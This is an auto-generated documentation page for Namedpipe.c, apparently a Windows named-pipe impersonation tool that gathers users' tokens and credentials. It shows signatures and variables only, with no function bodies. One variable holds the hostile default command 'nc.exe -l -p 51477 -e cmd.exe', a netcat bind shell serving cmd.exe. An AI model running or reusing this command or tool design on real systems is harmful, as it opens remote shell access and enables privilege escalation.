#include <io.h>#include <stdio.h>#include <sys/stat.h>#include <windows.h>#include <Lm.h>#include <process.h>Go to the source code of this file.
Data Structures | |
| struct | _credenciales |
Defines | |
| #define | _CRT_SECURE_NO_DEPRECATE |
| #define | MAX_USERS 1000 |
Typedefs | |
| typedef struct _credenciales | CREDENCIALES |
Functions | |
| BOOL | EnableDebugPriv (void) |
| DWORD WINAPI | procesa (LPVOID lpvParam) |
| DWORD WINAPI | ConsoleHandler (void *p) |
| void __stdcall | process_owner (HANDLE htoken, char *data, char *name) |
| void | usage (void) |
| void | banner (void) |
| int | main (int argc, char **argv) |
| BOOL | ExisteUsuario (int InUse) |
Variables | |
| CREDENCIALES | credenciales [MAX_USERS] |
| short | InUse = 0 |
| char | command [256] = "nc.exe -l -p 51477 -e cmd.exe" |
| char | namedpipe [256] = "0day" |
| int | PipeListen = 1 |
| #define _CRT_SECURE_NO_DEPRECATE |
Definition at line 29 of file Namedpipe.c.
| #define MAX_USERS 1000 |
| typedef struct _credenciales CREDENCIALES |
| void banner | ( | void | ) |
| DWORD WINAPI ConsoleHandler | ( | void * | p | ) |
Definition at line 245 of file Namedpipe.c.
References command, InUse, procesa(), and _credenciales::SystemTime.
Referenced by main().
| BOOL EnableDebugPriv | ( | void | ) |
| BOOL ExisteUsuario | ( | int | InUse | ) |
| int main | ( | int | argc, | |
| char ** | argv | |||
| ) |
Definition at line 62 of file Namedpipe.c.
References banner(), command, ConsoleHandler(), ExisteUsuario(), InUse, MAX_USERS, namedpipe, PipeListen, process_owner(), and usage().
| DWORD WINAPI procesa | ( | LPVOID | lpvParam | ) |
Definition at line 209 of file Namedpipe.c.
References command, and process_owner().
Referenced by ConsoleHandler().
| void __stdcall process_owner | ( | HANDLE | htoken, | |
| char * | data, | |||
| char * | name | |||
| ) |
| void usage | ( | void | ) |
| char command[256] = "nc.exe -l -p 51477 -e cmd.exe" |
| CREDENCIALES credenciales[MAX_USERS] |
Definition at line 55 of file Namedpipe.c.
| short InUse = 0 |
| char namedpipe[256] = "0day" |
| int PipeListen = 1 |
1.5.4